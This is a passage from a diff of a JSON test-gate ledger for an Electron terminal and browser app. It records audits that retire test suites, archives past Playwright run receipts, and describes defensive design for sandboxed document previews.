runtime OSC, WebLinksAddon, click fallback, action-menu, and modifier paths to target the exact owner without client fallback, while direct SSH and generic remote document links stay external. Separately run one byte-identical headed paired Electron journey on the candidate and with only runtime browser registration disabled. Require one new host browser tab, one new client mirror with exact page identity, rendered fixture DOM, explicit browser-tab activation, zero client shell.openExternal calls, exact close convergence, unchanged terminal counts, and continued output on the original PTY.", - "commands": [ - "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-browser-link.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": ["tests/e2e/paired-remote-terminal-browser-link.spec.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/paired-remote-terminal-browser-link.spec.ts", - "assertions": [ - "one terminal action produces one host page and one client mirror with exact identity", - "the host browser renders the fixture while client external navigation stays empty", - "an explicit browser-tab click reveals the exact mirror", - "closing the mirror returns host and client inventories to baseline", - "the original remote PTY accepts and renders fresh output after browser close" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-browser-link.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 32.9, - "summary": "Candidate created one host browser and one client mirror with matching page identity, rendered the fixture, activated on an explicit tab click, made zero client external-browser calls, converged both inventories after exact UI close, and delivered fresh output on the original remote PTY." - }, - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-browser-link.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "failed", - "durationSeconds": 53, - "summary": "The byte-identical final Electron oracle failed at its exact host/client identity barrier when the sole source delta replaced src/renderer/src/store/index.ts registration lines 110-113 with registerRuntimeHttpLinkBrowserOpener(null); no host-owned browser appeared within the deterministic 60-second bound." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit1931 (sources1928/1929): Delete both complete runtime-host HTTP-link and link-action routing suites. Lose supplied OSC/WebLinksAddon/fallback/direct-SSH opener forwarding, manufactured gesture/mouse-ownership and local/remote destination/popover/URI argument matrices. Remove both duplicate unit commands rather than creating an unfiltered test command. Retire the two runtime-link aliases. Preserve unchanged paired Electron selectors and their own dated receipts; they are not equivalent replacements for removed unit cases. No real browser, SSH transport, pointer gesture or rendered popover ran in the deleted suites. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Use the focused routing contracts as the byte-identical baseline/candidate oracle. Require runtime OSC, WebLinksAddon, click fallback, action-menu, and modifier paths to target the exact owner without client fallback, while direct SSH and generic remote document links stay external. Separately run one byte-identical headed paired Electron journey on the candidate and with only runtime browser registration disabled. Require one new host browser tab, one new client mirror with exact page identity, rendered fixture DOM, explicit browser-tab activation, zero client shell.openExternal calls, exact close convergence, unchanged terminal counts, and continued output on the original PTY.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 45, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The focused contracts are deterministic and the headed paired-runtime journey passed locally after its PTY namespace oracle was corrected; longer CI and soak history is not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The focused contracts are deterministic and the headed paired-runtime journey passed locally after its PTY namespace oracle was corrected; longer CI and soak history is not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The focused owner-routing oracle is red on latest main e4c278eb523 and green on the candidate. The byte-identical headed Electron oracle is green on the candidate and red when the sole source delta replaces the runtime browser opener registration with registerRuntimeHttpLinkBrowserOpener(null); candidate evidence proves exact host/client identity, rendered content, explicit activation, exact close convergence, original-PTY survival, and absence of client external navigation." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The focused owner-routing oracle is red on latest main e4c278eb523 and green on the candidate. The byte-identical headed Electron oracle is green on the candidate and red when the sole source delta replaces the runtime browser opener registration with registerRuntimeHttpLinkBrowserOpener(null); candidate evidence proves exact host/client identity, rendered content, explicit activation, exact close convergence, original-PTY survival, and absence of client external navigation." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. The production change adds no timer, polling, retry, subprocess, stream opcode, RPC method, or host publication. Each link hover or activation performs bounded in-memory owner and capability lookups; an Orca Browser action issues the same single browser creation and snapshot reconciliation already used by the tab bar." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. The production change adds no timer, polling, retry, subprocess, stream opcode, RPC method, or host publication. Each link hover or activation performs bounded in-memory owner and capability lookups; an Orca Browser action issues the same single browser creation and snapshot reconciliation already used by the tab bar." }, "promotionCriteria": [ "Collect Linux and physical Windows paired-server evidence.", @@ -4013,7 +3756,12 @@ "Audit1342 historical platform/provider scope before source changes: {\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[]}. Remaining provider scope applies only to unchanged-source receipts.", "Audit1342 historical assertion inventory for deleted/reduced sources; not current validated assertions:\n[\n {\n \"file\": \"src/renderer/src/lib/workspace-browser-tab-open.test.ts\",\n \"assertions\": [\n \"false or rejected runtime creation does not fall back to a client browser\"\n ]\n }\n]", "Audit1931 (sources1928/1929): Delete both complete runtime-host HTTP-link and link-action routing suites. Lose supplied OSC/WebLinksAddon/fallback/direct-SSH opener forwarding, manufactured gesture/mouse-ownership and local/remote destination/popover/URI argument matrices. Remove both duplicate unit commands rather than creating an unfiltered test command. Retire the two runtime-link aliases. Preserve unchanged paired Electron selectors and their own dated receipts; they are not equivalent replacements for removed unit cases. No real browser, SSH transport, pointer gesture or rendered popover ran in the deleted suites. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Exact retired authored alarms: 'opens an OSC 8 hyperlink on the owning runtime'; 'opens a WebLinksAddon click on the owning runtime'; 'opens a click-fallback activation on the owning runtime'; 'opens an OSC 8 hyperlink through the owning SSH workspace'; 'keeps a replacement request when the previous popover dismisses'; 'claims PTY mouse ownership only after the pointer gesture is eligible'; 'opens the primary destination directly when plain-click mode is enabled'; 'leaves disabled plain clicks with the terminal while middle click remains enabled'; 'keeps middle click available when plain clicks stay with the terminal'; 'leaves PTY mouse ownership with an ineligible pointer gesture'; 'leaves the action closed when the child already owns the gesture'; 'routes an explicit Orca Browser action to the owning runtime'; 'routes an explicit Orca Browser action through the owning SSH workspace'; 'uses Shift+modifier for the alternate local destination'; 'keeps Shift+modifier on the only capability-backed destination'; 'shows the raw OSC 8 file URI but copies its resolved path'.", - "Audit1931 historical original assertionRefs object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n \"file\": \"src/renderer/src/components/terminal-pane/links/http/terminal-runtime-host-link-routing.test.ts\",\n \"assertions\": [\n \"OSC, WebLinksAddon, and click-fallback activations route through the exact runtime owner\",\n \"direct SSH continues to use only the system browser\"\n ]\n }" + "Audit1931 historical original assertionRefs object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n \"file\": \"src/renderer/src/components/terminal-pane/links/http/terminal-runtime-host-link-routing.test.ts\",\n \"assertions\": [\n \"OSC, WebLinksAddon, and click-fallback activations route through the exact runtime owner\",\n \"direct SSH continues to use only the system browser\"\n ]\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-browser-link.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 32.9,\n \"summary\": \"Candidate created one host browser and one client mirror with matching page identity, rendered the fixture, activated on an explicit tab click, made zero client external-browser calls, converged both inventories after exact UI close, and delivered fresh output on the original remote PTY.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-browser-link.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"failed\",\n \"durationSeconds\": 53,\n \"summary\": \"The byte-identical final Electron oracle failed at its exact host/client identity barrier when the sole source delta replaced src/renderer/src/store/index.ts registration lines 110-113 with registerRuntimeHttpLinkBrowserOpener(null); no host-owned browser appeared within the deterministic 60-second bound.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-browser-link.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\"tests/e2e/paired-remote-terminal-browser-link.spec.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/paired-remote-terminal-browser-link.spec.ts\",\n \"assertions\": [\n \"one terminal action produces one host page and one client mirror with exact identity\",\n \"the host browser renders the fixture while client external navigation stays empty\",\n \"an explicit browser-tab click reveals the exact mirror\",\n \"closing the mirror returns host and client inventories to baseline\",\n \"the original remote PTY accepts and renders fresh output after browser close\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The focused owner-routing oracle is red on latest main e4c278eb523 and green on the candidate. The byte-identical headed Electron oracle is green on the candidate and red when the sole source delta replaces the runtime browser opener registration with registerRuntimeHttpLinkBrowserOpener(null); candidate evidence proves exact host/client identity, rendered content, explicit activation, exact close convergence, original-PTY survival, and absence of client external navigation.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The focused contracts are deterministic and the headed paired-runtime journey passed locally after its PTY namespace oracle was corrected; longer CI and soak history is not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":45,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. The production change adds no timer, polling, retry, subprocess, stream opcode, RPC method, or host publication. Each link hover or activation performs bounded in-memory owner and capability lookups; an Orca Browser action issues the same single browser creation and snapshot reconciliation already used by the tab bar.\"}}" ], "demotionRule": "Demote if one runtime terminal link creates a client-owned or duplicate browser, targets a runtime other than the pane owner, invokes the client external browser for Orca Browser, or removes the source terminal." }, @@ -4036,7 +3784,7 @@ "providers": ["remote-runtime"], "coveredPlatforms": ["macos"], "coveredProviders": [], - "coverageNotes": "Audit6088 removes the whole LinkActionPopover.test.tsx suite. Benign duplicate-copy suppression, toast feedback and retry-admission alarms are intentionally lost without equivalent replacement. Remove its standalone command and testFiles entry; all dated receipts and historical records retain their original scope. No native clipboard, fresh runtime or whole-gate validation is claimed. Complete prior account preserved verbatim: Audit6018 removes the whole HtmlDocPreview.toolbar.test.tsx suite. Its last current case exercises real DOM/registry hide, explicit close, recreation and unmount lifetime against supplied native guest boundaries; those alarms are intentionally lost without equivalent replacement. Remove its six compound-selector tokens, testFiles entry and obsolete focus assertionRef (the latter assertions were already absent from the current single case). No complete active dated receipt selects this source; all remain unchanged and do not validate narrowed commands. No fresh runtime/native/import-closure claim. Complete prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5910 retires the complete use-doc-preview-guest-tools suite: token-scoped pending-card position after inner scroll, load reset and detached guest listener cleanup alarms are intentionally lost without equivalent replacement. Narrow three compound selectors and remove its testFiles entry. All remaining assertions/selectors and complete dated evidenceRuns retain only their original scope; no fresh validation or replacement claim. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5583 removes the entire src/renderer/src/lib/browser/documents/doc-preview-grants.test.ts suite and its active selectors. Intentionally lose stale preview grant rejection and newer-capability preservation alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. The complete mocked session-close routing suite is removed, including the explicit cross-worktree cleanup alarm. Remove its active file, command token and assertion reference; historical selectors and receipts retain their original scope. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed. Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1899 replays sealed Audit1895: workspace-doc-history.test.ts is entirely removed from its current command and testFiles. Supplied recency/dedupe/cap/title/identity examples and the10000-row getter-read budget alarm are intentionally lost. No current assertionRef or active receipt selects that file. Unrelated active receipts and all prior gap literals remain verbatim; no replacement history/index-work coverage or new browser/paired-preview gate execution is claimed. Historical coverage account before Audit1899: Audit1853 reduces LinkActionPopover.test.tsx and archives its complete 2026-09-06 mixed-selector receipt. The lost copy/open-state and Settings callback-order/omission alarms are accepted without equivalent replacement coverage. No fresh execution of this gate is credited. Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1568 removes API inventories, supplied mock-value/forwarding assertions, implementation-shape tables and negative/setup cases that do not reach their intended boundary, without equivalent replacement claims. Retained changed definitions exercise owned manager lifetime/queue/refcount/clamp and real synthetic process/files/staging boundaries. Seventeen unchanged native Electron definitions across this combined audit are statically reviewed and not rerun. Changed native suites exercise local popup wire/cookie/session and clean/native process-identity behavior; known popup-admission flaws remain unfixed. Unit native/event/session/registry inputs remain injected. No actual OS focus, registry/host execution, CRX verification or durable restart proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1564 retires copied cookie key recipes, mock bridge/preview forwarding and flag tables, source-spelling/script inventories and setup-only alarms without equivalent replacement coverage. Retained changed cases exercise actual scoped SQLite merge/rollback/schema refusal, owned cancellation and grant authority/canonical containment, ranged response consistency, replacement guest ownership and executed guest-script promise/DOM cleanup behavior. Session, host response, geometry/observer and transport producers remain injected where documented. One unchanged native extension definition is not rerun locally; no actual remote filesystem, native layout/focus or authentication claim. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain unchanged. Historical scope before this audit: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1386 changes referenced sources; no new execution result validates reduced selectors. Retained unchanged receipts apply only to unchanged commands. Historical coverage: Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A macOS desktop host and a separate paired Electron client exercise the Explorer preview action end to end: the document renders inside the client-local orca-preview guest, the client gains exactly one browser workspace and it is the document one, the host's own page registry and tab snapshot gain nothing, the split does not take focus from the source editor, an explicit click activates the preview, and closing it with its X leaves the editor and terminal intact. Both host oracles are read in a run where an ordinary URL browser tab from the same client does arrive in them, because a host that cannot project browser pages at all would otherwise answer the absence question the same way. A second journey quits that client with a document tab open and relaunches it on the same profile, which is the restore the user's original report turned on: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit. The same journey pins the guest URL to the orca-preview scheme, so a regression back to file:// or to a host browser page is visible. The rewritten journey caught a live gap the old one could not see: since previews became browser pages they had no chrome to hand focus to their guest, so main refused every reported link click as coming from an unfocused guest and the one route out of a preview was dead. Main's own log answered it — registered true, grant live, focused false — after the embedder reported the anchor really taking six real presses. The pane now hands focus over when it is the reader's surface, and the journey routes. The preview's own components moved out of the editor folder into browser-pane/workspace-doc/ with this change, since a preview is a browser pane and no longer an editor one; their i18n keys keep the historical auto.components.editor.HtmlDocPreview prefix rather than dropping thirty translated strings across four locales for a tidier key path. Seven gate commands named those files by their old paths and were re-issued at the new ones, and the nine dated runs behind them were retired rather than left naming files that are no longer there, on the same principle this gate already applied twice: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. Each retired record's finding is carried into the replacement run recorded below it, including the red half of the entry/subresource pair, which was re-measured by re-applying its mutant at the new path rather than being dropped. The fence over the page-management channels was decided channel by channel before it was built, and that decision record is: of the 23 channels that can name a page, 6 are allowed for a workspace-document page — the tool channels the reader drives, which reach it through the one authority that reads both halves of the registry — 9 refuse (download accept and cancel, devtools, certificate proceed, client page metadata publish, viewport override, WebAuthn account response, registration probe, registration repair), 3 cannot name a page at all because they take a profile or a worktree instead, and the rest are the registration and activation doors, refused on membership. What shipped is not the per-channel guard that classification implies: eleven call sites read the browsing map directly, so a guard per channel is exactly the caller-flag seam that has to be remembered at every future call site. The registry was split in two instead, which makes the classification structural — a document guest is absent from the browsing map, so every refusing channel refuses by absence rather than by a guard, and a channel added later inherits the refusal without being classified at all. Unit contracts cover grant scoping and path containment, per-owner read routing, refusal of a truncated or over-cap read, the old-server binary degradation, scheme admission on will-attach-webview, the guest navigation policy, the plan layer's local/SSH/paired/out-of-worktree routing, and the distinct sentence the reader sees for each failure reason. The paired browser-creation surfaces this gate still owns — capability rejection cleanup, canonical page identity, reconciliation rollback, close convergence — keep their existing headed and headless journeys. Linux and Windows live journeys remain gaps. A refused subresource is a notice on a rendered document rather than a failure panel, since only the entry document's failure leaves the reader with nothing; the entry document is served as text by every owner and cannot be refused for its format at all. Grants die with the renderer document that minted them, at window creation and on every reload, because the renderer holds the only record of which preview owns which grant. The mint and revoke channels answer only the trusted renderer, and a preview tab is never republished to mobile clients, which have no grant to read it with. External URLs leave the preview only via a trusted user click on an anchor while the preview is focused; script-driven navigation and popups reach nothing. The guest's navigation sinks are deny-only and route no URL at all, and the guest carries a preview-only preload, pinned by will-attach-webview and denied to every other attach path, whose capture-phase click handler reports an anchor's URL to main; main answers only a report from a preview guest with a live bound grant that is the focused contents, and only for http(s). Two earlier reader-facing records from 2026-08-26, which measured a shape where a subresource failure was filtered out and the panel still carried an unsupported-asset sentence, were retired with that shape rather than left contradicting the 10/10 runs of the command they share. Two more were retired on the same principle when the external-link design changed: a record showing that removing a recent-input gate let the unattended document open two browser tabs, and a record showing that dropping the webview's allowpopups attribute left a target=_blank press with nothing to route. Both measured machinery that no longer exists — the input gate could not tell a script's navigation from the click it followed, which is the case now recorded below, and the preload intercepts the press before Chromium considers a popup at all, so allowpopups was removed. WebRTC is fenced by the guest's IP-handling policy alone: this Chromium answers a webrtc content-security-policy directive as unrecognized and gathers candidates anyway, so the directive is deliberately absent from the served policy and a unit assertion keeps it out. A standalone Electron probe on the same version gathered 7 candidates including a STUN reflexive one without the policy and 0 with it. Two command paths this gate used to carry no longer exist, and their structured evidence was retired with them rather than left naming files that are no longer there: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. The first is src/renderer/src/lib/file-preview-capability-cleanup.test.ts, deleted in STA-5557 when HTML previews stopped creating paired browser tabs: on 2026-08-12 its five-assertion STA-4063 oracle ran red 5/5 on scan e4c278eb52 and on main bc2e30000b, partially green 2/5 on pre-fix PR #14100, and green 5/5 on candidate 14b5877a75; the surviving half of that oracle is web-runtime-browser-capability-cleanup.test.ts, still commanded above. The second is tests/e2e/paired-remote-html-browser-focus.spec.ts, renamed in STA-5557 to paired-remote-html-preview-local-render.spec.ts because the journey no longer proves anything about browser focus: its 2026-08-12 runs established the owning-runtime routing and no-focus-steal behavior of the then-current browser-tab preview (red on main 346e59c879 and a90a18d43d, green on candidates d05217c40d and b7de9c0961, red again with only the side-preview focus or routing seam disabled), and its 2026-08-26 runs are recorded below under the current path. An adversarial pass after the journey landed found four coverage gaps rather than shipping defects, and all four are pinned here. The page url had a third door: the navigation commit wrote whatever url was reported, unfenced, and while nothing reaches it for a document page today it sat one report away from giving a document page a URL that persistence, the publish boundary and the address bar all read. The group projection was the load-bearing half of the mobile publish boundary that no test had: removing it alone left the whole suite green, because no test in it had tab groups, while the phone payload gained a group whose order and active tab named a document tab it was never sent. The focus handoff was covered only in the narrowing direction, so widening it — dropping the page-activity check, or either half of the reader-surface check — survived both suites. And the handoff itself was offered once and never again, so another app taking the front left the preview's one route out shut until the pane remounted, which is a desktop gap rather than a test-only one. The standalone capability-cleanup and browser-placement ledger suites were removed, including their mixed-version rejection, cleanup transfer, capacity and partition alarms. web-runtime-session.test.ts no longer supplies browser creation, rollback or recovery assertions. The grouped workspace-document exclusion remains; the separate no-group publication example was removed. Existing live/browser-store evidence does not establish equivalent replacement alarms. Earlier descriptions of the removed 